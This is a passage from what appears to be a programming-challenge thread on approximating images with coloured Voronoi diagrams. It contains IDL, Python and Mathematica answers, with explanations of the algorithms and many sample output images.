[![](https://i.stack.imgur.com/JIhhw.jpg)](https://i.stack.imgur.com/29s6J.png) [![](https://i.stack.imgur.com/Axlxv.jpg)](https://i.stack.imgur.com/Ud3b4.png) [![](https://i.stack.imgur.com/jqeYp.jpg)](https://i.stack.imgur.com/KoIgR.png) [![](https://i.stack.imgur.com/1IMRt.jpg)](https://i.stack.imgur.com/xoU5L.png) [![](https://i.stack.imgur.com/XwLqO.jpg)](https://i.stack.imgur.com/G01Rn.png) [![](https://i.stack.imgur.com/zoRBX.jpg)](https://i.stack.imgur.com/kIeIK.png) [![](https://i.stack.imgur.com/D7txZ.jpg)](https://i.stack.imgur.com/2zgOn.png) [![](https://i.stack.imgur.com/Ru28l.jpg)](https://i.stack.imgur.com/GvUg6.png) [![](https://i.stack.imgur.com/6czM2.jpg)](https://i.stack.imgur.com/IPZ8E.png) [![](https://i.stack.imgur.com/18vlE.jpg)](https://i.stack.imgur.com/Vf5AS.png) [![](https://i.stack.imgur.com/cKoI5.jpg)](https://i.stack.imgur.com/XbQlv.png) [![](https://i.stack.imgur.com/XtzJA.jpg)](https://i.stack.imgur.com/9bi8X.png) [![](https://i.stack.imgur.com/cZ0K1.jpg)](https://i.stack.imgur.com/IrVpe.png) [![](https://i.stack.imgur.com/lOKsT.jpg)](https://i.stack.imgur.com/aT9zh.png) [Answer] # IDL, adaptive refinement This method is inspired by [Adaptive Mesh Refinement](http://en.wikipedia.org/wiki/Adaptive_mesh_refinement) from astronomical simulations, and also [Subdivision surface](http://en.wikipedia.org/wiki/Subdivision_surface). This is the kind of task that IDL prides itself on, which you'll be able to tell by the large number of builtin functions I was able to use. :D I've output some of the intermediates for the black-background yoshi test image, with `n = 1000`. First, we perform a luminance greyscale on the image (using `ct_luminance`), and apply a Prewitt filter (`prewitt`, see [wikipedia](http://en.wikipedia.org/wiki/Prewitt_operator)) for good edge detection: [![abc](https://i.stack.imgur.com/2cHwJ.jpg)](https://i.stack.imgur.com/Pm1CP.png) [![abc](https://i.stack.imgur.com/hdqEB.jpg)](https://i.stack.imgur.com/MJIMw.png) Then comes the real grunt-work: we subdivide the image into 4, and measure the variance in each quadrant in the filtered image. Our variance is weighted by the size of the subdivision (which in this first step is equal), so that "edgy" regions with high variance don't get subdivided smaller and smaller and smaller. Then, we use the weighted variance to target subdivisions with more detail, and iteratively subdivide each detail-rich section into 4 additional, until we hit our target number of sites (each subdivision contains exactly one site). Since we're adding 3 sites each time we iterate, we end up with `n - 2 <= N <= n` sites. I made a .webm of the subdivision process for this image, which I can't embed, but it's [here](http://a.pomf.se/wpwfzp.webm); the color in each subsection is determined by the weighted variance. (I made the same kind of video for the white-background yoshi, for comparison, with the color table reversed so it goes toward white instead of black; it's [here](http://a.pomf.se/dvpahq.webm).) The final product of the subdivision looks like this: [![abc](https://i.stack.imgur.com/9H08D.jpg)](https://i.stack.imgur.com/HbORk.png) Once we have our list of subdivisions, we go through each subdivision. The final site location is the position of the minimum of the Prewitt image, i.e., the least "edgy" pixel, and the color of the section is the color of that pixel; here's the original image, with sites marked: [![abc](https://i.stack.imgur.com/Pf8MG.png)](https://i.stack.imgur.com/Pf8MG.png) Then, we use the built-in `triangulate` to calculate the Delaunay triangulation of the sites, and the built-in `voronoi` to define the vertices of each Voronoi polygon, before drawing each polygon to an image buffer in its respective color. Finally, we save a snapshot of the image buffer. [![abc](https://i.stack.imgur.com/8w4Ni.png)](https://i.stack.imgur.com/8w4Ni.png) The code: ``` function subdivide, image, bounds, vars ;subdivide a section into 4, and return the 4 subdivisions and the variance of each division = list() vars = list() nx = bounds[2] - bounds[0] ny = bounds[3] - bounds[1] for i=0,1 do begin for j=0,1 do begin x = i * nx/2 + bounds[0] y = j * ny/2 + bounds[1] sub = image[x:x+nx/2-(~(nx mod 2)),y:y+ny/2-(~(ny mod 2))] division.add, [x,y,x+nx/2-(~(nx mod 2)),y+ny/2-(~(ny mod 2))] vars.add, variance(sub) * n_elements(sub) endfor endfor return, division end pro voro_map, n, image, outfile sz = size(image, /dim) ;first, convert image to greyscale, and then use a Prewitt filter to pick out edges edges = prewitt(reform(ct_luminance(image[0,*,*], image[1,*,*], image[2,*,*]))) ;next, iteratively subdivide the image into sections, using variance to pick ;the next subdivision target (variance -> detail) until we've hit N subdivisions subdivisions = subdivide(edges, [0,0,sz[1],sz[2]], variances) while subdivisions.count() lt (n - 2) do begin !null = max(variances.toarray(),target) oldsub = subdivisions.remove(target) newsub = subdivide(edges, oldsub, vars) if subdivisions.count(newsub[0]) gt 0 or subdivisions.count(newsub[1]) gt 0 or subdivisions.count(newsub[2]) gt 0 or subdivisions.count(newsub[3]) gt 0 then stop subdivisions += newsub variances.remove, target variances += vars endwhile ;now we find the minimum edge value of each subdivision (we want to pick representative ;colors, not edge colors) and use that as the site (with associated color) sites = fltarr(2,n) colors = lonarr(n) foreach sub, subdivisions, i do begin slice = edges[sub[0]:sub[2],sub[1]:sub[3]] !null = min(slice,target) sxy = array_indices(slice, target) + sub[0:1] sites[*,i] = sxy colors[i] = cgcolor24(image[0:2,sxy[0],sxy[1]]) endforeach ;finally, generate the voronoi map old = !d.NAME set_plot, 'Z' device, set_resolution=sz[1:2], decomposed=1, set_pixel_depth=24 triangulate, sites[0,*], sites[1,*], tr, connectivity=C for i=0,n-1 do begin if C[i] eq C[i+1] then continue voronoi, sites[0,*], sites[1,*], i, C, xp, yp cgpolygon, xp, yp, color=colors[i], /fill, /device endfor !null = cgsnapshot(file=outfile, /nodialog) set_plot, old end pro wrapper cd, '~/voronoi' fs = file_search() foreach f,fs do begin base = strsplit(f,'.',/extract) if base[1] eq 'png' then im = read_png(f) else read_jpeg, f, im voro_map,100, im, base[0]+'100.png' voro_map,500, im, base[0]+'500.png' voro_map,1000,im, base[0]+'1000.png' endforeach end ``` Call this via `voro_map, n, image, output_filename`. I included a `wrapper` procedure as well, which went through each test image and ran with 100, 500, and 1000 sites. Output collected [here](https://i.stack.imgur.com/g8pj3.jpg), and here are some thumbnails: `n = 100` [![abc](https://i.stack.imgur.com/GcwEe.jpg)](https://i.stack.imgur.com/6NfYm.png) [![abc](https://i.stack.imgur.com/82Cnl.jpg)](https://i.stack.imgur.com/EYv2V.png) [![abc](https://i.stack.imgur.com/CVjJv.jpg)](https://i.stack.imgur.com/JW9lK.png) [![abc](https://i.stack.imgur.com/gXh3c.jpg)](https://i.stack.imgur.com/BdlW5.png) [![abc](https://i.stack.imgur.com/W9RNo.jpg)](https://i.stack.imgur.com/4dKOI.png) [![abc](https://i.stack.imgur.com/9gaO6.jpg)](https://i.stack.imgur.com/rSiaR.png) [![abc](https://i.stack.imgur.com/ZJU0E.jpg)](https://i.stack.imgur.com/uTEym.png) [![abc](https://i.stack.imgur.com/TjJMO.jpg)](https://i.stack.imgur.com/CvGKQ.png) [![abc](https://i.stack.imgur.com/SGV7w.jpg)](https://i.stack.imgur.com/cajuZ.png) [![abc](https://i.stack.imgur.com/hexp6.jpg)](https://i.stack.imgur.com/NA3XO.png) [![abc](https://i.stack.imgur.com/RhS3J.jpg)](https://i.stack.imgur.com/JwjyA.png) [![abc](https://i.stack.imgur.com/srEsm.jpg)](https://i.stack.imgur.com/XCBFR.png) [![abc](https://i.stack.imgur.com/cXFzj.jpg)](https://i.stack.imgur.com/8h4Rs.png) `n = 500` [![abc](https://i.stack.imgur.com/xFeSV.jpg)](https://i.stack.imgur.com/uTKjV.png) [![abc](https://i.stack.imgur.com/z59dJ.jpg)](https://i.stack.imgur.com/QXeOq.png) [![abc](https://i.stack.imgur.com/Vrgcr.jpg)](https://i.stack.imgur.com/JlEJd.png) [![abc](https://i.stack.imgur.com/vy7Sq.jpg)](https://i.stack.imgur.com/xwvsZ.png) [![abc](https://i.stack.imgur.com/29lAJ.jpg)](https://i.stack.imgur.com/z2SwI.png) [![abc](https://i.stack.imgur.com/Sfech.jpg)](https://i.stack.imgur.com/2I2qh.png) [![abc](https://i.stack.imgur.com/B1fIi.jpg)](https://i.stack.imgur.com/IWMlO.png) [![abc](https://i.stack.imgur.com/YRXkw.jpg)](https://i.stack.imgur.com/EZNqF.png) [![abc](https://i.stack.imgur.com/VKNkd.jpg)](https://i.stack.imgur.com/BZgky.png) [![abc](https://i.stack.imgur.com/1gBY1.jpg)](https://i.stack.imgur.com/ILToX.png) [![abc](https://i.stack.imgur.com/Gq1wE.jpg)](https://i.stack.imgur.com/RH9pM.png) [![abc](https://i.stack.imgur.com/6WF8v.jpg)](https://i.stack.imgur.com/cNDha.png) [![abc](https://i.stack.imgur.com/8DJ52.jpg)](https://i.stack.imgur.com/GKzlU.png) `n = 1000` [![abc](https://i.stack.imgur.com/DAiqn.jpg)](https://i.stack.imgur.com/tLOm9.png) [![abc](https://i.stack.imgur.com/2wTvA.jpg)](https://i.stack.imgur.com/F3y2R.png) [![abc](https://i.stack.imgur.com/drsxI.jpg)](https://i.stack.imgur.com/4orK6.png) [![abc](https://i.stack.imgur.com/png9H.jpg)](https://i.stack.imgur.com/8uemd.png) [![abc](https://i.stack.imgur.com/t6a3L.jpg)](https://i.stack.imgur.com/uLOOJ.png) [![abc](https://i.stack.imgur.com/Rr5vu.jpg)](https://i.stack.imgur.com/Kr3fM.png) [![abc](https://i.stack.imgur.com/aVgBQ.jpg)](https://i.stack.imgur.com/8w4Ni.png) [![abc](https://i.stack.imgur.com/zt6nZ.jpg)](https://i.stack.imgur.com/wYHRY.png) [![abc](https://i.stack.imgur.com/JHYoT.jpg)](https://i.stack.imgur.com/sZQlK.png) [![abc](https://i.stack.imgur.com/Sgpe4.jpg)](https://i.stack.imgur.com/K3Z6U.png) [![abc](https://i.stack.imgur.com/lH2pv.jpg)](https://i.stack.imgur.com/KY30D.png) [![abc](https://i.stack.imgur.com/9h6Ux.jpg)](https://i.stack.imgur.com/hxFFL.png) [![abc](https://i.stack.imgur.com/VHmHx.jpg)](https://i.stack.imgur.com/MKxDP.png) [Answer] # Python 3 + PIL + SciPy, Fuzzy k-means ``` from collections import defaultdict import itertools import random import time from PIL import Image import numpy as np from scipy.spatial import KDTree, Delaunay INFILE = "planet.jpg" OUTFILE = "voronoi.txt" N = 3000 DEBUG = True # Outputs extra images to see what's happening FEATURE_FILE = "features.png" SAMPLE_FILE = "samples.png" SAMPLE_POINTS = 20000 ITERATIONS = 10 CLOSE_COLOR_THRESHOLD = 15 """ Color conversion functions """ start_time = time.time() # http://www.easyrgb.com/?X=MATH def rgb2xyz(rgb): r, g, b = rgb r /= 255 g /= 255 b /= 255 r = ((r + 0.055)/1.055)**2.4 if r > 0.04045 else r/12.92 g = ((g + 0.055)/1.055)**2.4 if g > 0.04045 else g/12.92 b = ((b + 0.055)/1.055)**2.4 if b > 0.04045 else b/12.92 r *= 100 g *= 100 b *= 100 x = r*0.4124 + g*0.3576 + b*0.1805 y = r*0.2126 + g*0.7152 + b*0.0722 z = r*0.0193 + g*0.1192 + b*0.9505 return (x, y, z) def xyz2lab(xyz): x, y, z = xyz x /= 95.047 y /= 100 z /= 108.883 x = x**(1/3) if x > 0.008856 else 7.787*x + 16/116 y = y**(1/3) if y > 0.008856 else 7.787*y + 16/116 z = z**(1/3) if z > 0.008856 else 7.787*z + 16/116 L = 116*y - 16 a = 500*(x - y) b = 200*(y - z) return (L, a, b) def rgb2lab(rgb): return xyz2lab(rgb2xyz(rgb)) def lab2xyz(lab): L, a, b = lab y = (L + 16)/116 x = a/500 + y z = y - b/200 y = y**3 if y**3 > 0.008856 else (y - 16/116)/7.787 x = x**3 if x**3 > 0.008856 else (x - 16/116)/7.787 z = z**3 if z**3 > 0.008856 else (z - 16/116)/7.787 x *= 95.047 y *= 100 z *= 108.883 return (x, y, z) def xyz2rgb(xyz): x, y, z = xyz x /= 100 y /= 100 z /= 100 r = x* 3.2406 + y*-1.5372 + z*-0.4986 g = x*-0.9689 + y* 1.8758 + z* 0.0415 b = x* 0.0557 + y*-0.2040 + z* 1.0570 r = 1.055 * (r**(1/2.4)) - 0.055 if r > 0.0031308 else 12.92*r g = 1.055 * (g**(1/2.4)) - 0.055 if g > 0.0031308 else 12.92*g b = 1.055 * (b**(1/2.4)) - 0.055 if b > 0.0031308 else 12.92*b r *= 255 g *= 255 b *= 255 return (r, g, b) def lab2rgb(lab): return xyz2rgb(lab2xyz(lab)) """ Step 1: Read image and convert to CIELAB """ im = Image.open(INFILE) im = im.convert("RGB") width, height = prev_size = im.size pixlab_map = {} for x in range(width): for y in range(height): pixlab_map[(x, y)] = rgb2lab(im.getpixel((x, y))) print("Step 1: Image read and converted") """ Step 2: Get feature points """ def euclidean(point1, point2): return sum((x-y)**2 for x,y in zip(point1, point2))**.5 def neighbours(pixel): x, y = pixel results = [] for dx, dy in itertools.product([-1, 0, 1], repeat=2): neighbour = (pixel[0] + dx, pixel[1] + dy) if (neighbour != pixel and 0 <= neighbour[0] < width and 0 <= neighbour[1] < height): results.append(neighbour) return results def mse(colors, base): return sum(euclidean(x, base)**2 for x in colors)/len(colors) features = [] for x in range(width): for y in range(height): pixel = (x, y) col = pixlab_map[pixel] features.append((mse([pixlab_map[n] for n in neighbours(pixel)], col), random.random(), pixel)) features.sort() features_copy = [x[2] for x in features] if DEBUG: test_im = Image.new("RGB", im.size) for i in range(len(features)): pixel = features[i][1] test_im.putpixel(pixel, (int(255*i/len(features)),)*3) test_im.save(FEATURE_FILE) print("Step 2a: Edge detection-ish complete") def random_index(list_): r = random.expovariate(2) while r > 1: r = random.expovariate(2) return int((1 - r) * len(list_)) sample_points = set() while features and len(sample_points) < SAMPLE_POINTS: index = random_index(features) point = features[index][2] sample_points.add(point) del features[index] print("Step 2b: {} feature samples generated".format(len(sample_points))) if DEBUG: test_im = Image.new("RGB", im.size) for pixel in sample_points: test_im.putpixel(pixel, (255, 255, 255)) test_im.save(SAMPLE_FILE) """ Step 3: Fuzzy k-means """ def euclidean(point1, point2): return sum((x-y)**2 for x,y in zip(point1, point2))**.5 def get_centroid(points): return tuple(sum(coord)/len(points) for coord in zip(*points)) def mean_cell_color(cell): return get_centroid([pixlab_map[pixel] for pixel in cell]) def median_cell_color(cell): # Pick start point out of mean and up to 10 pixels in cell mean_col = get_centroid([pixlab_map[pixel] for pixel in cell]) start_choices = [pixlab_map[pixel] for pixel in cell] if len(start_choices) > 10: start_choices = random.sample(start_choices, 10) start_choices.append(mean_col) best_dist = None col = None for c in start_choices: dist = sum(euclidean(c, pixlab_map[pixel]) for pixel in cell) if col is None or dist < best_dist: col = c best_dist = dist # Approximate median by hill climbing last = None while last is None or euclidean(col, last) < 1e-6: last = col best_dist = None best_col = None for deviation in itertools.product([-1, 0, 1], repeat=3): new_col = tuple(x+y for x,y in zip(col, deviation)) dist = sum(euclidean(new_col, pixlab_map[pixel]) for pixel in cell) if best_dist is None or dist < best_dist: best_col = new_col col = best_col return col def random_point(): index = random_index(features_copy) point = features_copy[index] dx = random.random() * 10 - 5 dy = random.random() * 10 - 5 return (point[0] + dx, point[1] + dy) centroids = np.asarray([random_point() for _ in range(N)]) variance = {i:float("inf") for i in range(N)} cluster_colors = {i:(0, 0, 0) for i in range(N)} # Initial iteration tree = KDTree(centroids) clusters = defaultdict(set) for point in sample_points: nearest = tree.query(point)[1] clusters[nearest].add(point) # Cluster! for iter_num in range(ITERATIONS): if DEBUG: test_im = Image.new("RGB", im.size) for n, pixels in clusters.items(): color = 0xFFFFFF * (n/N) color = (int(color//256//256%256), int(color//256%256), int(color%256)) for p in pixels: test_im.putpixel(p, color) test_im.save(SAMPLE_FILE) for cluster_num in clusters: if clusters[cluster_num]: cols = [pixlab_map[x] for x in clusters[cluster_num]] cluster_colors[cluster_num] = mean_cell_color(clusters[cluster_num]) variance[cluster_num] = mse(cols, cluster_colors[cluster_num]) else: cluster_colors[cluster_num] = (0, 0, 0) variance[cluster_num] = float("inf") print("Clustering (iteration {})".format(iter_num)) # Remove useless/high variance if iter_num < ITERATIONS - 1: delaunay = Delaunay(np.asarray(centroids)) neighbours = defaultdict(set) for simplex in delaunay.simplices: n1, n2, n3 = simplex neighbours[n1] |= {n2, n3} neighbours[n2] |= {n1, n3} neighbours[n3] |= {n1, n2} for num, centroid in enumerate(centroids): col = cluster_colors[num] like_neighbours = True nns = set() # neighbours + neighbours of neighbours for n in neighbours[num]: nns |= {n} | neighbours[n] - {num} nn_far = sum(euclidean(col, cluster_colors[nn]) > CLOSE_COLOR_THRESHOLD for nn in nns) if nns and nn_far / len(nns) < 1/5: sample_points -= clusters[num] for _ in clusters[num]: if features and len(sample_points) < SAMPLE_POINTS: index = random_index(features) point = features[index][3] sample_points.add(point) del features[index] clusters[num] = set() new_centroids = [] for i in range(N): if clusters[i]: new_centroids.append(get_centroid(clusters[i])) else: new_centroids.append(random_point()) centroids = np.asarray(new_centroids) tree = KDTree(centroids) clusters = defaultdict(set) for point in sample_points: nearest = tree.query(point, k=6)[1] col = pixlab_map[point] for n in nearest: if n < N and euclidean(col, cluster_colors[n])**2 <= variance[n]: clusters[n].add(point) break else: clusters[nearest[0]].add(point) print("Step 3: Fuzzy k-means complete") """ Step 4: Output """ for i in range(N): if clusters[i]: centroids[i] = get_centroid(clusters[i]) centroids = np.asarray(centroids) tree = KDTree(centroids) color_clusters = defaultdict(set) # Throw back on some sample points to get the colors right all_points = [(x, y) for x in range(width) for y in range(height)] for pixel in random.sample(all_points, int(min(width*height, 5 * SAMPLE_POINTS))): nearest = tree.query(pixel)[1] color_clusters[nearest].add(pixel) with open(OUTFILE, "w") as outfile: for i in range(N): if clusters[i]: centroid = tuple(centroids[i]) col = tuple(x/255 for x in lab2rgb(median_cell_color(color_clusters[i] or clusters[i]))) print(" ".join(map(str, centroid + col)), file=outfile) print("Done! Time taken:", time.time() - start_time) ``` ## The algorithm The core idea is that k-means clustering naturally partitions the image into Voronoi cells, since points are tied to the nearest centroid. However, we need to somehow add in the colours as a constraint. First we convert each pixel to the [Lab color space](http://en.wikipedia.org/wiki/Lab_color_space), for better colour manipulation. Then we do a sort of "poor man's edge detection". For each pixel, we look at its orthogonal and diagonal neighbours, and calculate the mean-squared difference in colour. We then sort all of the pixels by this difference, with pixels most similar to their neighbours at the front of the list, and pixels most dissimilar to their neighbours at the back (i.e., more likely to be an edge point). Here's an example for the planet, where the brighter the pixel is, the more different it is from its neighbours: [![enter image description here](https://i.stack.imgur.com/HVNuC.jpg)](https://i.stack.imgur.com/HVNuC.jpg) *(There's a clear grid-like pattern on the rendered output above. According to @randomra, this is probably due to lossy JPG encoding, or imgur compressing the images.)* Next, we use this pixel ordering to sample a large number of points to be clustered. We use an exponential distribution, giving priority to points which are more edge-like and "interesting". [![enter image description here](https://i.stack.imgur.com/9oXfG.png)](https://i.stack.imgur.com/9oXfG.png) For the clustering, we first pick `N` centroids, randomly chosen using the same exponential distribution as above. An initial iteration is performed, and for each of the resulting clusters we assign a mean colour and a colour variance threshold. Then for a number of iterations, we: * Build the Delaunay triangulation of the centroids, so that we can easily query neighbours to centroids. * Use the triangulation to remove centroids which are close in colour to most (> 4/5) of their neighbours and neighbour's neighbours combined. Any associated sample points are also removed, and new replacement centroids and sample points are added. This step tries to force the algorithm to place more clusters where detail is needed. * Construct a kd-tree for the new centroids, so that we can easily query the closest centroids to any sample point. * Use the tree to assign each sample point to one of the 6 closest centroids (6 chosen empirically). A centroid will only accept a sample point if the point's colour is within the centroid's colour variance threshold. We try to assign each sample point to the first accepting centroid, but if that's not possible then we simply assign it to the closest centroid. The "fuzziness" of the algorithm comes from this step, since it's possible for clusters to overlap. * Recompute the centroids. [![enter image description here](https://i.stack.imgur.com/w6Ujd.gif)](https://i.stack.imgur.com/w6Ujd.gif) *(Click for full size)* Finally, we sample a large number of points, this time using a uniform distribution. Using another kd-tree, we assign each point to its closest centroid, forming clusters. We then approximate the [median colour](http://en.wikipedia.org/wiki/Geometric_median) of each cluster using a hill-climbing algorithm, giving our final cell colours (idea for this step thanks to @PhiNotPi and @MartinBüttner). [![enter image description here](https://i.stack.imgur.com/jEvhE.png)](https://i.stack.imgur.com/jEvhE.png) ## Notes In addition to outputting a text file for the snippet (`OUTFILE`), if `DEBUG` is set to `True` the program will also output and overwrite the images above. The algorithm takes a couple of minutes for each image, so it's a good way of checking on progress which doesn't add an awful lot to the running time. ## Sample outputs **N = 32:** [![enter image description here](https://i.stack.imgur.com/UvDAys.png)](https://i.stack.imgur.com/UvDAy.png) **N = 100:** [![enter image description here](https://i.stack.imgur.com/0NtKFs.png)](https://i.stack.imgur.com/0NtKF.png) [![enter image description here](https://i.stack.imgur.com/DtX6qs.png)](https://i.stack.imgur.com/DtX6q.png) [![enter image description here](https://i.stack.imgur.com/blmc3s.png)](https://i.stack.imgur.com/blmc3.png) [![enter image description here](https://i.stack.imgur.com/T7jafs.png)](https://i.stack.imgur.com/T7jaf.png) [![enter image description here](https://i.stack.imgur.com/A1SlKs.png)](https://i.stack.imgur.com/A1SlK.png) [![enter image description here](https://i.stack.imgur.com/BwR8Es.png)](https://i.stack.imgur.com/BwR8E.png) [![enter image description here](https://i.stack.imgur.com/3EGl4s.png)](https://i.stack.imgur.com/3EGl4.png) [![enter image description here](https://i.stack.imgur.com/FkSP0s.png)](https://i.stack.imgur.com/FkSP0.png) [![enter image description here](https://i.stack.imgur.com/Clwois.png)](https://i.stack.imgur.com/Clwoi.png) [![enter image description here](https://i.stack.imgur.com/Dn3Izs.png)](https://i.stack.imgur.com/Dn3Iz.png) [![enter image description here](https://i.stack.imgur.com/5oun7s.png)](https://i.stack.imgur.com/5oun7.png) [![enter image description here](https://i.stack.imgur.com/jfyKjs.png)](https://i.stack.imgur.com/jfyKj.png) [![enter image description here](https://i.stack.imgur.com/vFu4xs.png)](https://i.stack.imgur.com/vFu4x.png) **N = 1000:** [![enter image description here](https://i.stack.imgur.com/Nx2Mcs.png)](https://i.stack.imgur.com/Nx2Mc.png) [![enter image description here](https://i.stack.imgur.com/W98BJs.png)](https://i.stack.imgur.com/W98BJ.png) [![enter image description here](https://i.stack.imgur.com/MF1Ums.png)](https://i.stack.imgur.com/MF1Um.png) [![enter image description here](https://i.stack.imgur.com/KiJ1ls.png)](https://i.stack.imgur.com/KiJ1l.png) [![enter image description here](https://i.stack.imgur.com/G6PM3s.png)](https://i.stack.imgur.com/G6PM3.png) [![enter image description here](https://i.stack.imgur.com/34q8Js.png)](https://i.stack.imgur.com/34q8J.png) [![enter image description here](https://i.stack.imgur.com/VO8WQs.png)](https://i.stack.imgur.com/VO8WQ.png) [![enter image description here](https://i.stack.imgur.com/1OeWms.png)](https://i.stack.imgur.com/1OeWm.png) [![enter image description here](https://i.stack.imgur.com/0EFYfs.png)](https://i.stack.imgur.com/0EFYf.png) [![enter image description here](https://i.stack.imgur.com/vFtWos.png)](https://i.stack.imgur.com/vFtWo.png) [![enter image description here](https://i.stack.imgur.com/1qXvBs.png)](https://i.stack.imgur.com/1qXvB.png) [![enter image description here](https://i.stack.imgur.com/aVttSs.png)](https://i.stack.imgur.com/aVttS.png) [![enter image description here](https://i.stack.imgur.com/AmMp9s.png)](https://i.stack.imgur.com/AmMp9.png) **N = 3000:** [![enter image description here](https://i.stack.imgur.com/RRxXrs.png)](https://i.stack.imgur.com/RRxXr.png) [![enter image description here](https://i.stack.imgur.com/Epfr3s.png)](https://i.stack.imgur.com/Epfr3.png) [![enter image description here](https://i.stack.imgur.com/BJG6vs.png)](https://i.stack.imgur.com/BJG6v.png) [![enter image description here](https://i.stack.imgur.com/m2T13s.png)](https://i.stack.imgur.com/m2T13.png) [![enter image description here](https://i.stack.imgur.com/j5bIKs.png)](https://i.stack.imgur.com/j5bIK.png) [![enter image description here](https://i.stack.imgur.com/WK0PKs.png)](https://i.stack.imgur.com/WK0PK.png) [![enter image description here](https://i.stack.imgur.com/jwESBs.png)](https://i.stack.imgur.com/jwESB.png) [![enter image description here](https://i.stack.imgur.com/mswbMs.png)](https://i.stack.imgur.com/mswbM.png) [![enter image description here](https://i.stack.imgur.com/yXIEPs.png)](https://i.stack.imgur.com/yXIEP.png) [![enter image description here](https://i.stack.imgur.com/QBj83s.png)](https://i.stack.imgur.com/QBj83.png) [![enter image description here](https://i.stack.imgur.com/TKvN3s.png)](https://i.stack.imgur.com/TKvN3.png) [![enter image description here](https://i.stack.imgur.com/M70aNs.png)](https://i.stack.imgur.com/M70aN.png) [![enter image description here](https://i.stack.imgur.com/PLGcws.png)](https://i.stack.imgur.com/PLGcw.png) [Answer] # Mathematica, Random Cells This is the baseline solution, so you get an idea of the minimum I'm asking from you. Given the file name (locally or as a URL) in `file` and **N** in `n`, the following code simply picks out **N** random pixels, and uses the colours found at those pixels. This is really naive and doesn't work incredibly well, but I want you guys to beat this after all. :) ``` data = ImageData@Import@file; dims = Dimensions[data][[1 ;; 2]] {Reverse@#, data[[##]][[1 ;; 3]] & @@ Floor[1 + #]} &[dims #] & /@ RandomReal[1, {n, 2}] ``` Here are all the test images for **N = 100** (all images link to larger versions): [![enter image description here](https://i.stack.imgur.com/XGlfks.png)](https://i.stack.imgur.com/XGlfk.png) [![enter image description here](https://i.stack.imgur.com/lrIhPs.png)](https://i.stack.imgur.com/lrIhP.png) [![enter image description here](https://i.stack.imgur.com/UohSls.png)](https://i.stack.imgur.com/UohSl.png) [![enter image description here](https://i.stack.imgur.com/crkFBs.png)](https://i.stack.imgur.com/crkFB.png) [![enter image description here](https://i.stack.imgur.com/BCLLss.png)](https://i.stack.imgur.com/BCLLs.png) [![enter image description here](https://i.stack.imgur.com/e94j1s.png)](https://i.stack.imgur.com/e94j1.png) [![enter image description here](https://i.stack.imgur.com/ijcvUs.png)](https://i.stack.imgur.com/ijcvU.png) [![enter image description here](https://i.stack.imgur.com/02Q8ms.png)](https://i.stack.imgur.com/02Q8m.png) [![enter image description here](https://i.stack.imgur.com/0pcHCs.png)](https://i.stack.imgur.com/0pcHC.png) [![enter image description here](https://i.stack.imgur.com/D7neNs.png)](https://i.stack.imgur.com/D7neN.png) [![enter image description here](https://i.stack.imgur.com/dEHvNs.png)](https://i.stack.imgur.com/dEHvN.png) [![enter image description here](https://i.stack.imgur.com/Qekcbs.png)](https://i.stack.imgur.com/Qekcb.png) As you can see, these are essentially useless. While they may have some artistic value, in an expressionist way, the original images are barely recognisable. For **N = 500**, the situation is improved a bit, but there are still very odd artefacts, the images look washed out, and a lot of cells are wasted on regions without detail: [![enter image description here](https://i.stack.imgur.com/tXlWes.png)](https://i.stack.imgur.com/tXlWe.png) [![enter image description here](https://i.stack.imgur.com/S6SkMs.png)](https://i.stack.imgur.com/S6SkM.png) [![enter image description here](https://i.stack.imgur.com/SIqoZs.png)](https://i.stack.imgur.com/SIqoZ.png) [![enter image description here](https://i.stack.imgur.com/yZxaFs.png)](https://i.stack.imgur.com/yZxaF.png) [![enter image description here](https://i.stack.imgur.com/Mgbjcs.png)](https://i.stack.imgur.com/Mgbjc.png) [![enter image description here](https://i.stack.imgur.com/Ivt1is.png)](https://i.stack.imgur.com/Ivt1i.png) [![enter image description here](https://i.stack.imgur.com/FuUbos.png)](https://i.stack.imgur.com/FuUbo.png) [![enter image description here](https://i.stack.imgur.com/nJaBhs.png)](https://i.stack.imgur.com/nJaBh.png) [![enter image description here](https://i.stack.imgur.com/fGPUbs.png)](https://i.stack.imgur.com/fGPUb.png) [![enter image description here](https://i.stack.imgur.com/DKuDNs.png)](https://i.stack.imgur.com/DKuDN.png) [![enter image description here](https://i.stack.imgur.com/hQrvbs.png)](https://i.stack.imgur.com/hQrvb.png) [![enter image description here](https://i.stack.imgur.com/GnRHDs.png)](https://i.stack.imgur.com/GnRHD.png) Your turn! [Answer] # Mathematica We all know Martin loves Mathematica so let me give it a try with Mathematica. My algorithm uses random points from the image edges to create an initial voronoi diagram. The diagram is then prettified by an iterative adjustment of the mesh with a simple mean filter. This gives images with high cell density near high contrast regions and visually pleasing cells without crazy angles. The following images show an example of the process in action. The fun is somewhat spoiled by Mathematicas bad Antialiasing, but we get vector graphics, that must be worth something. This algorithm, without the random sampling, can be found in the `VoronoiMesh` documentation [here](http://reference.wolfram.com/language/ref/VoronoiMesh.html#1524939241). ![enter image description here](https://i.stack.imgur.com/WSBwU.png) ![enter image description here](https://i.stack.imgur.com/S6pW0.jpg) # Test Images (100,300,1000,3000) [![](https://i.stack.imgur.com/jTCJJ.jpg)](https://i.stack.imgur.com/XyolJ.png) [![](https://i.stack.imgur.com/yRvPj.jpg)](https://i.stack.imgur.com/dSEIu.png) [![](https://i.stack.imgur.com/oVekY.jpg)](https://i.stack.imgur.com/7M6Iv.png) [![](https://i.stack.imgur.com/APmvF.jpg)](https://i.stack.imgur.com/OqXem.png) [![](https://i.stack.imgur.com/kRO68.jpg)](https://i.stack.imgur.com/796el.png) [![](https://i.stack.imgur.com/RiZqK.jpg)](https://i.stack.imgur.com/b7SaE.png) [![](https://i.stack.imgur.com/kzGqI.jpg)](https://i.stack.imgur.com/Cd6J2.png) [![](https://i.stack.imgur.com/RbS5F.jpg)](https://i.stack.imgur.com/BhGxL.png) [![](https://i.stack.imgur.com/LaSo7.jpg)](https://i.stack.imgur.com/0RHdG.png) [![](https://i.stack.imgur.com/Hl40u.jpg)](https://i.stack.imgur.com/WtVWl.png) [![](https://i.stack.imgur.com/9nprR.jpg)](https://i.stack.imgur.com/rib4V.png) [![](https://i.stack.imgur.com/TvPHw.jpg)](https://i.stack.imgur.com/5tzSr.png) [![](https://i.stack.imgur.com/K0A8o.jpg)](https://i.stack.imgur.com/4Y6CK.png) [![](https://i.stack.imgur.com/uA3ms.jpg)](https://i.stack.imgur.com/8cuCD.png) [![](https://i.stack.imgur.com/4wLi7.jpg)](https://i.stack.imgur.com/5UBWa.png) [![](https://i.stack.imgur.com/SJJBa.jpg)](https://i.stack.imgur.com/dSiOg.png) 